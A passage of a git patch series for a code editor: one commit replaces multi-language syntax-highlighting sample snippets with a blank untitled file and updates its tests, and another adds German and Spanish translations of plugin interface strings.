'.tks': `# Monday -02/11/2026 -backend 09:00-10:30 Review open pull requests -backend 10:30-12:15 Fix the nightly export job -meetings 1 Sprint planning -support 0.75 Answer customer questions - -# Tuesday -03/11/2026 -backend 09:15-11:45 Add retries to the billing webhook -`, - '.http': `@baseUrl = https://api.example.com -@token = {{$dotenv API_TOKEN}} - -### List open orders -GET {{baseUrl}}/orders?status=open&limit=20 HTTP/1.1 -Accept: application/json -Authorization: Bearer {{token}} - -### Create an order -POST {{baseUrl}}/orders HTTP/1.1 -Content-Type: application/json - -{ - "customer": "ada@example.com", - "items": [{ "sku": "ORCA-1", "quantity": 2 }], - "express": true -} -`, - '.service': `# Runs the web app and restarts it on failure. -[Unit] -Description=Example web app -After=network-online.target -Wants=network-online.target - -[Service] -Type=simple -User=web -WorkingDirectory=/srv/web -Environment=PORT=8080 NODE_ENV=production -ExecStart=/usr/bin/node /srv/web/server.js -Restart=on-failure -RestartSec=5s - -[Install] -WantedBy=multi-user.target -`, - '.m': `% Fits a line to noisy data and plots it. -function fitDemo() - x = linspace(0, 10, 50); - y = 2.5 * x + 1 + randn(size(x)); - - p = polyfit(x, y, 1); - fprintf('slope = %.2f, intercept = %.2f\\n', p(1), p(2)); - - if p(1) > 0 - disp('Trend is upward'); - end - - plot(x, y, 'o', x, polyval(p, x), '-'); - title('Linear fit'); -end -`, - '.ml': `(* Counts how often each word appears. *) -module StringMap = Map.Make (String) - -let add_word counts word = - StringMap.update word - (function None -> Some 1 | Some n -> Some (n + 1)) - counts - -let count_words lines = - lines - |> List.concat_map (String.split_on_char ' ') - |> List.filter (fun word -> word <> "") - |> List.fold_left add_word StringMap.empty - -let () = - count_words [ "the quick fox"; "the lazy dog" ] - |> StringMap.iter (fun word n -> Printf.printf "%s: %d\\n" word n) -`, - '.jl': `# Estimates pi by sampling points in a unit square. -using Random - -struct Estimate - samples::Int - value::Float64 -end - -function estimate_pi(n::Int; rng = Random.default_rng()) - inside = count(_ -> rand(rng)^2 + rand(rng)^2 <= 1, 1:n) - return Estimate(n, 4 * inside / n) -end - -for n in (1_000, 100_000) - e = estimate_pi(n) - println("n = $(e.samples): pi is about $(round(e.value; digits = 4))") -end -`, - '.hs': `module Main where - -import Data.List (sortOn) -import qualified Data.Map.Strict as Map - --- | Counts how often each word appears. -wordFreq :: String -> Map.Map String Int -wordFreq = Map.fromListWith (+) . map (\\w -> (w, 1)) . words - -main :: IO () -main = do - let text = "the quick brown fox jumps over the lazy dog the end" - top = take 3 . sortOn (negate . snd) . Map.toList $ wordFreq text - mapM_ (\\(w, n) -> putStrLn (w ++ ": " ++ show n)) top -`, - '.erl': `%% A counter process that answers increments and reads. --module(counter). --export([start/0, increment/1, value/1]). - -start() -> - spawn(fun() -> loop(0) end). - -increment(Pid) -> - Pid ! {increment, 1}, - ok. - -value(Pid) -> - Pid ! {value, self()}, - receive - {count, N} -> N - after 1000 -> timeout - end. - -loop(N) -> - receive - {increment, By} -> loop(N + By); - {value, From} -> From ! {count, N}, loop(N) - end. -`, - '.jsp': `<%@ page contentType="text/html; charset=UTF-8" %> -<%@ page import="java.time.LocalTime" %> -<%-- Greets the visitor by time of day. --%> - - - <% int hour = LocalTime.now().getHour(); %> -

    Good <%= hour < 12 ? "morning" : "afternoon" %>!

    -
      - <% for (String item : new String[] { "Orders", "Invoices", "Reports" }) { %> -
    • <%= item %>
    • - <% } %> -
    - - -` -} - -export function pluginSyntaxSample( - syntaxes: readonly { extensions: readonly string[] }[] -): { extension: string; content: string } | null { - for (const extension of syntaxes.flatMap((syntax) => syntax.extensions)) { - const content = SYNTAX_SAMPLES[extension.toLowerCase()] - if (content) { - return { extension, content } - } - } - return null -} diff --git a/src/renderer/src/components/plugins/state/plugin-try-action.test.ts b/src/renderer/src/components/plugins/state/plugin-try-action.test.ts new file mode 100644 index 00000000000..4f86cb64b95 --- /dev/null +++ b/src/renderer/src/components/plugins/state/plugin-try-action.test.ts @@ -0,0 +1,19 @@ +import { describe, expect, it } from 'vitest' +import { firstSyntaxExtension } from './plugin-try-action' + +describe('firstSyntaxExtension', () => { + it('takes the first extension any grammar declares', () => { + expect( + firstSyntaxExtension([ + { extensions: [] }, + { extensions: ['.vhd', '.vhdl'] }, + { extensions: ['.v'] } + ]) + ).toBe('.vhd') + }) + + it('is null when grammars only match file names', () => { + expect(firstSyntaxExtension([{ extensions: [] }])).toBeNull() + expect(firstSyntaxExtension([])).toBeNull() + }) +}) diff --git a/src/renderer/src/components/plugins/state/plugin-try-action.ts b/src/renderer/src/components/plugins/state/plugin-try-action.ts index fcec0b1363b..44620846a88 100644 --- a/src/renderer/src/components/plugins/state/plugin-try-action.ts +++ b/src/renderer/src/components/plugins/state/plugin-try-action.ts @@ -15,7 +15,6 @@ import { openPluginNewFileFromSettings } from '../page/PluginContributionActionN import { openPluginPanelFromSettings } from '../page/PluginContributionActionPanel' import { languageDisplayName } from '../presentation/plugin-contributions' import { PLUGIN_ACTION_TOAST_DURATION_MS } from './plugin-action-toast' -import { pluginSyntaxSample } from './plugin-syntax-samples' /** Runs `act` over the workspace Settings came from, or says why it can't. */ function fromSettingsToWorkspace(act: () => void): void { @@ -27,11 +26,19 @@ function fromSettingsToWorkspace(act: () => void): void { act() } -export function openPluginSampleFromSettings(sample: { extension: string; content: string }): void { +/** The first file extension a plugin's grammars declare, which a blank file can show off. */ +export function firstSyntaxExtension( + syntaxes: readonly { extensions: readonly string[] }[] +): string | null { + return syntaxes.find((syntax) => syntax.extensions.length > 0)?.extensions[0] ?? null +} + +/** Opens a blank `untitled` so the plugin's grammar highlights as you type. */ +export function openPluginBlankFileFromSettings(extension: string): void { fromSettingsToWorkspace(() => { const state = useAppStore.getState() state.closeSettingsPage() - void state.openSampleFileInActiveWorkspace(sample) + void state.openBlankFileInActiveWorkspace(extension) }) } @@ -96,9 +103,9 @@ export function pluginTryAction( } } } - const sample = pluginSyntaxSample(contributes.syntaxes) - if (sample) { - return () => openPluginSampleFromSettings(sample) + const syntaxExtension = firstSyntaxExtension(contributes.syntaxes) + if (syntaxExtension) { + return () => openPluginBlankFileFromSettings(syntaxExtension) } if (contributes.languagePacks.length > 0) { return () => void tryLanguagePack(pluginKey) diff --git a/src/renderer/src/store/slices/editor/actions/untitled-file-creation.ts b/src/renderer/src/store/slices/editor/actions/untitled-file-creation.ts index f8756a030d8..1adf54d03ca 100644 --- a/src/renderer/src/store/slices/editor/actions/untitled-file-creation.ts +++ b/src/renderer/src/store/slices/editor/actions/untitled-file-creation.ts @@ -108,7 +108,7 @@ function openSeededUntitledFile( export function createPluginNewFileActions( _set: EditorSet, get: EditorGet -): Pick { +): Pick { return { openNewPluginFileInActiveWorkspace: async (newFile, groupId) => { const readTemplate = window.api?.plugins?.readNewFileTemplate @@ -137,8 +137,8 @@ export function createPluginNewFileActions( groupId ) }, - openSampleFileInActiveWorkspace: async (sample) => { - await openSeededUntitledFile(get, sample.extension, async () => sample.content) + openBlankFileInActiveWorkspace: async (extension) => { + await openSeededUntitledFile(get, extension, async () => '') } } } diff --git a/src/renderer/src/store/slices/editor/types/editor-files-slice.ts b/src/renderer/src/store/slices/editor/types/editor-files-slice.ts index 34c726a6abe..c47aafe07a5 100644 --- a/src/renderer/src/store/slices/editor/types/editor-files-slice.ts +++ b/src/renderer/src/store/slices/editor/types/editor-files-slice.ts @@ -96,8 +96,8 @@ export type EditorFilesSlice = { newFile: { pluginKey: string; id: string; title: string; extension: string }, groupId?: string ) => Promise - /** Creates an untitled file of `extension` holding `content` at the active workspace root. */ - openSampleFileInActiveWorkspace: (sample: { extension: string; content: string }) => Promise + /** Opens an empty `untitled` at the active workspace root. */ + openBlankFileInActiveWorkspace: (extension: string) => Promise // Why: sequences openFile/setMarkdownViewMode/reveal around an async Monaco remount. See docs/markdown-internal-link-opening-design.md. activateMarkdownLink: ( rawHref: string | undefined, diff --git a/tests/e2e/plugin-try-it.spec.ts b/tests/e2e/plugin-try-it.spec.ts index 668c7ca671e..aaa38135f98 100644 --- a/tests/e2e/plugin-try-it.spec.ts +++ b/tests/e2e/plugin-try-it.spec.ts @@ -1,6 +1,7 @@ /** * Invariant: the Try it on a plugin's install toast does the thing itself instead of opening - * the plugin's page — a grammar opens a highlighted sample, an editor a new file of its own. + * the plugin's page — a grammar opens a blank file it highlights as you type, an editor a new + * file of its own. */ import { mkdtemp, readFile, rm } from 'node:fs/promises' @@ -38,7 +39,7 @@ async function tryFromToast(page: Page, name: string): Promise { } // oxlint-disable-next-line no-empty-pattern -- Playwright passes fixtures before testInfo. -test('Try it opens a highlighted sample and a new drawing', async ({}, testInfo) => { +test('Try it opens a blank highlighted file and a new drawing', async ({}, testInfo) => { // Why: one Electron launch, a Git catalog fetch and two installs; slower than the 30s default. test.setTimeout(180_000) const root = await mkdtemp(join(tmpdir(), 'orca-plugin-try-it-e2e-')) @@ -68,7 +69,11 @@ test('Try it opens a highlighted sample and a new drawing', async ({}, testInfo) await page.getByRole('article').getByRole('button', { name: 'Install Gleam' }).click() await tryFromToast(page, 'Gleam') await expect(page.locator('[data-tab-id]').filter({ hasText: 'untitled.gleam' })).toBeVisible() - // The plugin grammar paints the sample in more than one token class. + // Blank until the user types; nothing but the empty placeholder reaches disk. + expect(await readFile(join(fixture.workspace, 'untitled.gleam'), 'utf8')).toBe('') + await page.locator('.monaco-editor:visible .view-lines').first().click() + await page.keyboard.type('pub fn main() { 1 }') + // The plugin grammar paints what was typed in more than one token class. await expect .poll(async () => (await editorTokenClasses(page, 'pub fn main')).length, { timeout: 15_000 From f5f2ec6749c3d76946ad1442941a5f4837ce82f9 Mon Sep 17 00:00:00 2001 From: Neil <4138956+nwparker@users.noreply.github.com> Date: Sat, 31 Oct 2026 01:50:47 -0700 Subject: [PATCH 32/47] i18n(plugins): translate missing plugin strings in all locales (#36642) Adds the README link (#36527) and 'Show all N plugins' strings, plus every other plugin UI string still falling back to English, to de, es, fr, ja, ko, pt, ru, tr, zh and zh-Hant. Co-authored-by: Claude --- src/renderer/src/i18n/locales/de.json | 236 +++++++++++++++++++-- src/renderer/src/i18n/locales/es.json | 79 ++++++- src/renderer/src/i18n/locales/fr.json | 79 ++++++- src/renderer/src/i18n/locales/ja.json | 79 ++++++- src/renderer/src/i18n/locales/ko.json | 79 ++++++- src/renderer/src/i18n/locales/pt.json | 183 ++++++++++++++-- src/renderer/src/i18n/locales/ru.json | 236 +++++++++++++++++++-- src/renderer/src/i18n/locales/tr.json | 236 +++++++++++++++++++-- src/renderer/src/i18n/locales/zh-Hant.json | 236 +++++++++++++++++++-- src/renderer/src/i18n/locales/zh.json | 79 ++++++- 10 files changed, 1382 insertions(+), 140 deletions(-) diff --git a/src/renderer/src/i18n/locales/de.json b/src/renderer/src/i18n/locales/de.json index 779e7be825f..2757591a979 100644 --- a/src/renderer/src/i18n/locales/de.json +++ b/src/renderer/src/i18n/locales/de.json @@ -1344,6 +1344,13 @@ "pluginNewFile": { "unavailable": "{{value0}} ist nicht mehr verfügbar. Aktiviere das zugehörige Plugin wieder.", "failed": "Die Datei konnte nicht erstellt werden." + }, + "pluginAutoUpdates": { + "one": "{{value0}} auf {{value1}} aktualisiert", + "many": "{{value0}} Plugins aktualisiert" + }, + "pluginInstallLink": { + "invalid": "Dieser Plugin-Link ist ungültig." } }, "lib": { @@ -8915,7 +8922,9 @@ "fbb428db98": "Ausgewählt:", "search_terminal_themes": "Terminal-Designs suchen", "cb330ef7f8": " von {{value0}}", - "c822571b2e": " passend zu „{{value0}}“" + "c822571b2e": " passend zu „{{value0}}“", + "plugin_themes": "Plugins", + "from_plugin": "Von {{value0}}" }, "SettingsSidebar": { "e0900f83e7": "SSH", @@ -11874,7 +11883,9 @@ "notificationsShow": "Desktop-Benachrichtigungen mit dem Plugin-Namen anzeigen", "storage": "Daten im eigenen Speicherordner des Plugins speichern", "secrets": "Geheimnisse im eigenen verschlüsselten Tresor des Plugins speichern und lesen", - "settingsOwn": "Die eigenen Einstellungen des Plugins lesen und ändern" + "settingsOwn": "Die eigenen Einstellungen des Plugins lesen und ändern", + "agentsRead": "Benachrichtigungen, wenn sich der Agentenstatus ändert", + "terminalRun": "Befehle in deinen Terminals ausführen, auch über SSH" }, "decisionFailed": "Die Berechtigungsentscheidung konnte nicht gespeichert werden. Erneut versuchen.", "fullAccessWarning": "Vollzugriff: läuft wie ein normales Programm und kann deine Dateien lesen, das Netzwerk nutzen und andere Programme ausführen.", @@ -11898,7 +11909,9 @@ "remove": "Entfernen", "pathLabel": "Ordnerpfad des Entwicklungs-Plugins", "placeholder": "/Users/you/plugins/my-plugin oder C:\\Users\\you\\plugins\\my-plugin", - "add": "Pfad hinzufügen" + "add": "Pfad hinzufügen", + "dialogTitle": "Entwicklungsordner", + "reviewHelp": "Einmal geprüft. Spätere Codeänderungen laufen ohne Nachfrage." }, "PluginInstallDialog": { "localRequired": "Den Plugin-Ordnerpfad eingeben.", @@ -11981,11 +11994,16 @@ }, "PluginRemoveDialog": { "cancel": "Abbrechen", - "remove": "Plugin entfernen" + "remove": "Plugin entfernen", + "title": "{{value0}} entfernen?", + "description": "Seine Daten werden ebenfalls entfernt." }, "PluginRollbackDialog": { "cancel": "Abbrechen", - "confirm": "Plugin zurücksetzen" + "confirm": "Plugin zurücksetzen", + "title": "{{value0}} zurücksetzen?", + "description": "Stellt die vorherige Version wieder her.", + "descriptionVersion": "Stellt Version {{value0}} wieder her." }, "PluginsSettingsSection": { "systemLabel": "Plugin-System", @@ -12000,7 +12018,10 @@ "title": "Plugins", "description": "Orca-Plugins installieren und verwalten. Plugins laufen auf diesem Computer, auch für SSH-Arbeitsbereiche.", "logsFailed": "Plugin-Protokolle konnten nicht geladen werden.", - "rollbackFailed": "Dieses Plugin konnte nicht zurückgesetzt werden. Möglicherweise ist keine vorherige unveränderliche Version verfügbar." + "rollbackFailed": "Dieses Plugin konnte nicht zurückgesetzt werden. Möglicherweise ist keine vorherige unveränderliche Version verfügbar.", + "alpha": "Alpha", + "fileTypeSuggestionsLabel": "Plugins für unbekannte Dateien vorschlagen", + "restartFailed": "{{value0}} konnte nicht neu gestartet werden." }, "PluginSettingsRow": { "loadingLogs": "Protokolle werden geladen…", @@ -12012,7 +12033,8 @@ "viewLogs": "Protokolle anzeigen", "disableLabel": "{{value0}} deaktivieren", "enableLabel": "{{value0}} aktivieren", - "invalidPluginError": "Das Plugin-Manifest oder die installierten Dateien sind ungültig. Das Plugin korrigieren und anschließend aktualisieren." + "invalidPluginError": "Das Plugin-Manifest oder die installierten Dateien sind ungültig. Das Plugin korrigieren und anschließend aktualisieren.", + "syntaxFailed": "Hervorhebung gestoppt: Diese Grammatik ist fehlgeschlagen." }, "PluginVmRecipeConsentPreview": { "create": "Erstellen", @@ -12043,7 +12065,8 @@ "install": "Plugin installieren", "permissions": "Plugin-Berechtigungen", "logs": "Plugin-Protokolle", - "development": "Entwicklungs-Plugins" + "development": "Entwicklungs-Plugins", + "aliases": "plugins mods erweiterungen" } }, "LinearAgentSkillGuide": { @@ -12983,7 +13006,28 @@ } }, "PluginUpdateAllDialog": { - "review": "Prüfen" + "review": "Prüfen", + "previewError": "Dieses Update konnte nicht gelesen werden", + "newAccess": "Neu: {{value0}}", + "failed": "{{value0}} konnte nicht aktualisiert werden. Die anderen wurden aktualisiert.", + "cancel": "Abbrechen", + "updateOne": "1 Plugin aktualisieren", + "updateMany": "{{value0}} Plugins aktualisieren", + "failedAll": "{{value0}} konnte nicht aktualisiert werden. Es wurde nichts aktualisiert.", + "close": "Schließen", + "retry": "Erneut versuchen", + "updated": "Aktualisiert", + "needsOrca": "Benötigt Orca {{value0}} oder neuer", + "current": "Bereits installiert", + "sourceMoved": "Neue Quelle: {{value0}} (vorher {{value1}})", + "newShortcuts": "Tastenkürzel", + "newCommands": "Befehle", + "newPanels": "Bereiche", + "newEvents": "Weitere Ereignisse", + "newRecipes": "Maschinenrezepte", + "newContributions": "Funktionen, die für dich handeln", + "allAccess": "Alle Zugriffe anzeigen", + "update": "Aktualisieren" }, "PluginUpdateReview": { "title": "Update für {{value0}} prüfen", @@ -13017,7 +13061,8 @@ }, "PluginContributionActionPanel": { "open": "Panel öffnen", - "openName": "Panel öffnen: {{value0}}" + "openName": "Panel öffnen: {{value0}}", + "needsWorkspace": "Benötigt einen geöffneten Arbeitsbereich" }, "PluginContributionActionSyntax": { "openExtension": "Eine beliebige {{value0}}-Datei öffnen", @@ -13028,7 +13073,10 @@ "updated": "Aktualisiert", "license": "Lizenz", "whatsNew": "Neuigkeiten", - "installs": "Installationen" + "installs": "Installationen", + "hashCopied": "Inhalts-Hash kopiert", + "hashCopyFailed": "Der Hash konnte nicht kopiert werden.", + "readme": "README auf {{value0}} lesen" }, "PluginDetailPage": { "back": "Plugins", @@ -13039,7 +13087,20 @@ "requiresValue": "Orca {{value0}} oder neuer", "categories": "Kategorien", "pluginId": "Plugin-ID", - "repository": "Repository" + "repository": "Repository", + "bundled": "Mit Orca gebündelt", + "localFolder": "Lokaler Ordner", + "gitUrl": "Git-URL", + "stoppedTitle": "Nach einem Fehler gestoppt", + "stoppedBody": "Es ist wiederholt abgestürzt. Starte es neu, um es erneut zu versuchen.", + "invalidTitle": "Orca kann dieses Plugin nicht laden", + "needsOrcaTitle": "Benötigt Orca {{value0}} oder neuer", + "needsOrcaBody": "Du hast Orca {{value0}}.", + "newerTitle": "Neuere Version verfügbar", + "newerBody": "Der Katalog hat sich geändert, während du hier warst.", + "showNewer": "Neuere anzeigen", + "stoppedDataBody": "Seine Dateien konnten nicht geladen werden. Starte es neu, um es erneut zu versuchen.", + "alsoListedBy": "Auch gelistet von {{value0}}. Updates kommen nur aus dem Katalog, aus dem es installiert wurde. Zum Wechseln entferne es und installiere es erneut." }, "PluginDetailSections": { "typeLanguagePack": "Oberflächensprache", @@ -13058,7 +13119,12 @@ "accessLoading": "Plugin wird gelesen…", "accessFailed": "Zugriff konnte nicht gelesen werden", "retry": "Erneut versuchen", - "customEditor": "Editor" + "customEditor": "Editor", + "panel": "Seitenleistenbereich", + "recipe": "Maschinenrezept", + "logs": "Protokolle", + "copyLogs": "Kopieren", + "noAccessReach": "Nichts außerhalb seiner eigenen Dateien" }, "PluginFilterPopover": { "kind": "Kategorie", @@ -13087,7 +13153,9 @@ "replacesShortcut": "{{value0}} ({{value1}}) ersetzt dein Tastenkürzel für {{value2}}.", "updatesKeepApproval": "Updates fragen nur bei neuem Zugriff erneut", "fullAccessUpdates": "Updates können seinen Code ohne Nachfrage ändern", - "editsFileTypes": "Öffnet und bearbeitet {{value0}}-Dateien in Orca. Es kann die Dateien lesen, die es öffnet." + "editsFileTypes": "Öffnet und bearbeitet {{value0}}-Dateien in Orca. Es kann die Dateien lesen, die es öffnet.", + "install": "Installieren & aktivieren", + "keepOff": "Deaktiviert lassen" }, "PluginListEmptyStates": { "noFilterMatches": "Keine Plugins entsprechen diesen Filtern", @@ -13108,7 +13176,18 @@ "updateAll": "Alle aktualisieren…", "notFromCatalog": "nicht aus einem Katalog", "allInstalledTitle": "Alle Katalog-Plugins sind installiert", - "showInstalled": "Installierte Plugins anzeigen" + "showInstalled": "Installierte Plugins anzeigen", + "verified": "verifiziert", + "unverified": "nicht verifiziert", + "catalogLoading": "Katalog", + "catalogFailedTitle": "Der Plugin-Katalog konnte nicht geladen werden.", + "catalogFailedBody": "Deine installierten Plugins funktionieren weiterhin.", + "sourceFailedTitle": "Dieser Katalog konnte nicht geladen werden.", + "sourceFailedBody": "Deine installierten Plugins funktionieren weiterhin.", + "sources": "Quellen…", + "sourceStaleTitle": "Dieser Katalog konnte nicht aktualisiert werden.", + "sourceStaleBody": "Angezeigt wird die Kopie vom {{value0}}.", + "shownOf": "{{value0}} von {{value1}}" }, "PluginManagerRows": { "reinstall": "Neu installieren", @@ -13129,7 +13208,14 @@ "rollbackTo": "Auf {{value0}} zurücksetzen…", "copyContentHash": "Inhalts-Hash kopieren", "reviewUpdate": "Update prüfen", - "dataLoadFailed": "Dateien konnten nicht geladen werden" + "dataLoadFailed": "Dateien konnten nicht geladen werden", + "copied": "Plugin-ID kopiert", + "copyFailed": "Die Plugin-ID konnte nicht kopiert werden.", + "details": "Details", + "unverified": "Nicht verifiziert", + "updateAvailable": "Update {{value0}} verfügbar", + "updateNeedsReview": "Update {{value0}} muss geprüft werden", + "updatedTo": "auf {{value0}} aktualisiert" }, "pluginInstallAction": { "installed": "{{value0}} installiert", @@ -13167,7 +13253,10 @@ "PluginThemeUseNow": { "assignedLight": "{{value0}} als helles Design festgelegt", "assignedDark": "{{value0}} als dunkles Design festgelegt", - "saveFailed": "Das Design konnte nicht gespeichert werden. Versuche es erneut." + "saveFailed": "Das Design konnte nicht gespeichert werden. Versuche es erneut.", + "label": "Jetzt verwenden:", + "useForLight": "Für hell verwenden:", + "useForDark": "Für dunkel verwenden:" }, "PluginInstallTrustDialog": { "titleFolder": "Stellen Sie sicher, dass Sie diesem Ordner vertrauen", @@ -13186,6 +13275,83 @@ "cancel": "Abbrechen", "addFolder": "Ordner hinzufügen", "install": "Installieren" + }, + "AppearanceInterfaceSection": { + "pluginIconTheme": { + "title": "Symboldesign", + "description": "Datei- und Ordnersymbole aus einem aktivierten Plugin.", + "builtIn": "Integriert" + } + }, + "PluginAddMenu": { + "add": "Plugin hinzufügen", + "folder": "Aus einem Ordner…", + "git": "Aus einer Git-URL…", + "sources": "Katalogquellen…" + }, + "PluginSettingsOverview": { + "offTitle": "Plugins sind deaktiviert" + }, + "pluginContributions": { + "dark": "Dunkel", + "light": "Hell", + "languageIncomplete": "{{value0}} % übersetzt, zu unvollständig, um als Orca-Sprache verwendet zu werden", + "languageCoverage": "Oberflächensprache · {{value0}} % übersetzt", + "newFileMenu": "Ergänzt das +-Menü" + }, + "PluginPageAction": { + "failedTitle": "{{value0}} konnte nicht installiert werden", + "contentOnly": "Nur Inhalte" + }, + "PluginSettingsMenu": { + "label": "Plugin-Einstellungen", + "development": "Entwicklungsordner…", + "autoUpdateLabel": "Plugins automatisch aktualisieren", + "autoUpdateHint": "Fragt nur bei neuen Zugriffen erneut" + }, + "PluginPageHero": { + "screenshots": "Bildschirmfotos", + "openScreenshot": "Bildschirmfoto öffnen: {{value0}}", + "position": "{{value0}} von {{value1}}", + "previous": "Vorheriges Bildschirmfoto", + "next": "Nächstes Bildschirmfoto" + }, + "PluginContributionActionCommand": { + "run": "Ausführen", + "runName": "{{value0}} ausführen", + "ran": "{{value0}} ausgeführt", + "failed": "{{value0}} fehlgeschlagen", + "seeLogs": "Siehe Protokolle unten", + "needsWorkspace": "Benötigt einen geöffneten Arbeitsbereich" + }, + "PluginContributionActionEvents": { + "worktreeCreated": "Wenn ein Arbeitsbereich erstellt wird", + "worktreeRemoved": "Wenn ein Arbeitsbereich entfernt wird", + "agentStatusChanged": "Wenn sich der Status eines Agenten ändert", + "detail": "Hintergrundcode wird ausgeführt" + }, + "PluginChips": { + "updateNeedsReview": "Update muss geprüft werden", + "updatedTo": "Auf {{value0}} aktualisiert", + "devUnverified": "Dev · nicht verifiziert" + }, + "PluginsAlphaNotice": { + "label": "Alpha:", + "body": "Die Plugin-Schnittstelle kann sich ändern. Rechne mit Feinheiten.", + "dismiss": "Alpha-Hinweis schließen" + }, + "PluginStatus": { + "needsReview": "Muss geprüft werden", + "restarting": "Wird neu gestartet", + "stopped": "Gestoppt", + "cantLoad": "Kann nicht geladen werden", + "off": "Aus", + "running": "Läuft", + "on": "An", + "blocked": "Blockiert" + }, + "PluginContributionActionNewFile": { + "create": "Erstellen" } }, "right": { @@ -16649,6 +16815,28 @@ }, "richMarkdownBlobImagePaste": { "saveFailed": "Das eingefügte Bild konnte nicht neben dem Dokument gespeichert werden. Es wird nach einem Neustart von Orca möglicherweise nicht geladen." + }, + "PluginFileTypeSuggestion": { + "message": "Ein Plugin kann .{{value0}}-Dateien öffnen: {{value1}}", + "view": "Plugin ansehen", + "notNow": "Nicht jetzt", + "never": "Für .{{value0}} nicht vorschlagen", + "editorMessage": "Ein Plugin bietet einen Editor für .{{value0}}-Dateien: {{value1}}" + }, + "PluginCustomEditorFrame": { + "loading": "Editor wird geladen…", + "unresponsive": "{{value0}} reagiert nicht mehr. Wechsle zu „Quelle“, um weiter zu bearbeiten.", + "loadFailed": "{{value0}} konnte nicht geladen werden. Wechsle zu „Quelle“, um diese Datei zu bearbeiten.", + "editTooLarge": "Diese Datei ist zu groß, als dass {{value0}} Änderungen speichern könnte. Verwende stattdessen „Quelle“.", + "saveBlocked": "Die letzten Änderungen aus {{value0}} konnten nicht gespeichert werden.", + "editsHeld": "{{value0}} sendet Änderungen zu schnell; Orca übernimmt in Kürze die neueste.", + "largeFile": "Große Datei – das kann einen Moment dauern." + }, + "PluginBytesCustomEditorSurface": { + "retry": "Erneut versuchen", + "tooLarge": "{{value0}} ist zu groß, um in {{value1}} geöffnet zu werden ({{value2}}; das Limit ist {{value3}}).", + "unsupported": "{{value0}} kann diese Datei an ihrem Speicherort nicht lesen. Aktualisiere den Orca-Server, auf dem sie liegt, oder wechsle zu „Quelle“.", + "readFailed": "{{value0}} konnte für {{value1}} nicht gelesen werden. {{value2}}" } }, "diff": { @@ -16974,7 +17162,8 @@ }, "pluginQuickActions": { "description": "Befehl des Plugins {{value0}}", - "keyword": "Plugin-Befehl" + "keyword": "Plugin-Befehl", + "newFileDescription": "Eine unbenannte {{value0}}-Datei im aktiven Arbeitsbereich erstellen." } } }, @@ -18243,6 +18432,10 @@ }, "PluginListRow": { "official": "Offiziell" + }, + "PluginListGroup": { + "showAll": "{{value0}} weitere anzeigen", + "showAllTotal": "Alle {{value0}} Plugins anzeigen" } }, "terminalPane": { @@ -18686,6 +18879,13 @@ }, "pluginInstallCount": { "installs": "{{value0}} Installationen" + }, + "PluginCatalogLinkDialog": { + "failed": "Dieser Katalog konnte nicht hinzugefügt werden.", + "title": "Katalog {{value0}} hinzufügen?", + "cancel": "Abbrechen", + "add": "Katalog hinzufügen", + "body": "Ein Link möchte {{value0}} aus diesem Katalog anzeigen. Füge Kataloge nur von Personen hinzu, denen du vertraust." } } }, diff --git a/src/renderer/src/i18n/locales/es.json b/src/renderer/src/i18n/locales/es.json index 877e3f5e829..492228e74ca 100644 --- a/src/renderer/src/i18n/locales/es.json +++ b/src/renderer/src/i18n/locales/es.json @@ -901,6 +901,13 @@ "pluginNewFile": { "unavailable": "{{value0}} ya no está disponible. Vuelve a activar su plugin.", "failed": "No se pudo crear el archivo." + }, + "pluginAutoUpdates": { + "one": "{{value0}} se actualizó a {{value1}}", + "many": "{{value0}} plugins actualizados" + }, + "pluginInstallLink": { + "invalid": "Ese enlace de plugin no es válido." } }, "lib": { @@ -11565,7 +11572,8 @@ "pathLabel": "Ruta de la carpeta del plugin de desarrollo", "placeholder": "Ruta a una carpeta de plugin", "add": "Añadir ruta", - "reviewHelp": "Se revisa una vez. Los cambios de código posteriores se ejecutan sin preguntar." + "reviewHelp": "Se revisa una vez. Los cambios de código posteriores se ejecutan sin preguntar.", + "dialogTitle": "Carpetas de desarrollo" }, "PluginInstallDialog": { "localRequired": "Introduce la ruta de la carpeta del plugin.", @@ -12740,7 +12748,9 @@ "repository": "Repositorio", "stoppedDataBody": "No se pudieron cargar sus archivos. Reinicia para volver a intentarlo.", "newerBody": "El catálogo cambió mientras estabas aquí.", - "showNewer": "Ver la nueva" + "showNewer": "Ver la nueva", + "newerTitle": "Hay una versión más reciente", + "alsoListedBy": "También aparece en {{value0}}. Las actualizaciones solo llegan del catálogo desde el que se instaló; para cambiar, elimínalo y vuelve a instalarlo." }, "PluginDetailSections": { "typeLanguagePack": "Idioma de la interfaz", @@ -12790,7 +12800,9 @@ "rollbackTo": "Volver a {{value0}}…", "copyContentHash": "Copiar hash del contenido", "reviewUpdate": "Revisar actualización", - "dataLoadFailed": "No se pudieron cargar sus archivos" + "dataLoadFailed": "No se pudieron cargar sus archivos", + "updateNeedsReview": "la actualización {{value0}} requiere revisión", + "updatedTo": "actualizado a {{value0}}" }, "PluginSettingsOverview": { "offTitle": "Los plugins están desactivados" @@ -12853,20 +12865,27 @@ "dark": "Oscuro", "light": "Claro", "languageIncomplete": "{{value0}} % traducido, demasiado incompleto para usarlo como idioma de Orca", - "languageCoverage": "Idioma de la interfaz · {{value0}} % traducido" + "languageCoverage": "Idioma de la interfaz · {{value0}} % traducido", + "newFileMenu": "Se añade al menú +" }, "PluginInstallConsent": { "noOtherAccess": "Ningún otro acceso", "replacesShortcut": "{{value0}} ({{value1}}) reemplaza tu atajo para {{value2}}.", "updatesKeepApproval": "Las actualizaciones solo vuelven a preguntar por accesos nuevos", "fullAccessUpdates": "Las actualizaciones pueden cambiar su código sin preguntar", - "editsFileTypes": "Abre y edita archivos {{value0}} en Orca. Puede leer los archivos que abre." + "editsFileTypes": "Abre y edita archivos {{value0}} en Orca. Puede leer los archivos que abre.", + "install": "Instalar y activar", + "keepOff": "Mantener desactivado" }, "PluginPageAction": { - "contentOnly": "Solo contenido" + "contentOnly": "Solo contenido", + "failedTitle": "No se pudo instalar {{value0}}" }, "PluginSettingsMenu": { - "autoUpdateHint": "Solo vuelve a preguntar por accesos nuevos" + "autoUpdateHint": "Solo vuelve a preguntar por accesos nuevos", + "label": "Ajustes de plugins", + "development": "Carpetas de desarrollo…", + "autoUpdateLabel": "Actualizar plugins automáticamente" }, "PluginInUseAction": { "inUseDark": "En uso · Oscuro", @@ -12987,6 +13006,21 @@ "cancel": "Cancelar", "addFolder": "Añadir carpeta", "install": "Instalar" + }, + "PluginPageHero": { + "screenshots": "Capturas de pantalla", + "openScreenshot": "Abrir captura de pantalla: {{value0}}", + "position": "{{value0}} de {{value1}}", + "previous": "Captura anterior", + "next": "Captura siguiente" + }, + "PluginChips": 